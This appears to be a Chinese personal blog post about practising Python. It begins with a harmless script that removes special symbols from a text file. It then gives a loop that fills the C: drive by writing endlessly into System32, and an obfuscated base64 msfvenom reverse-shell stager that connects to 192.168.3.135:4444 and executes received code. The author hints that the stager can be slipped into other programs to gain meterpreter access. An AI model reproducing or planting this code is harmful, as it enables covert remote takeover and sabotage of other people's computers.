想必大家都遇到过文档中的特殊符号吧,比如‘▲’,‘&',‘¥’等等,这会导致阅读体验下降,那么如何解决呢?
Office软件有一个叫做“查找替换”的功能,快捷键“Ctrl + h”可以调出来,然后替换就直接可以了;
但我想用Python实现这个功能,顺便也把所学的知识实践一下!
涉及的知识很少,只有文件操作;
思路:
1.遍历文件,将特殊字符替换为空字符(你也可以替换为其他的字符);
2.将替换后的字符串写入新的文件中。
Code:
f = open('C:\\Users\\jack\\Desktop\\Python_Project\\Small_Program\\去除特殊符号\\count.txt','r',encoding='utf-8')
f_new = open('C:\\Users\\jack\\Desktop\\Python_Project\\Small_program\\去除特殊符号\\count_new.txt','w',encoding='utf-8')
for line in f:
line = line.replace('►', '')
line = line.replace('◄', '')
f_new.write(line)
这样就基本完成了,简单吧。
还没完,之前用C写了个通过循环爆磁盘空间的程序,现在用Python来实现!
#-*- coding:utf-8 -*-
__author__ = "Onlss"
f = open('C:\\Windows\\System32\\test.txt','w',encoding='utf-8')
while True:
f.write('this is a test ')
在CMD下以管理员权限运行,C盘过几分钟就会被爆满。
还没完,一时心血来潮,思考如果把msfvenom(懂的人都懂)下生成的Python木马中的源码直接复制出来,添加在其他的Python程序中,然后在msf开启监听,坐等meterpreter回连。
import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCcxOTIuMTY4LjMuMTM1Jyw0NDQ0KSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==')))
真的可以回连,如果把这段代码加入到XX中,你懂的!
毕竟是主学安全的,必须有点安全思维。
总结:
对于我们这些初学者,我们到网上找文档看,找视频看,看完后完成了视频或文档中布置的作业就觉得自己懂了,会了,其实只是皮毛而已,所有学到的知识不经过思考和实践是不可能完全掌握的,那么应该如何实践呢?最好的方法就是去寻找实际的问题,比如某个同事的文档需要批量删除某一句话;批量转换格式等等。只有灵活运用Python解决了各种实际的问题,才能说会,否则,只是在闭门造车,骗自己!
最好养成这样一个习惯:生活中遇到的所有事,先思考能不能用编程解决,如果能,思路是怎么样?代码该怎么写?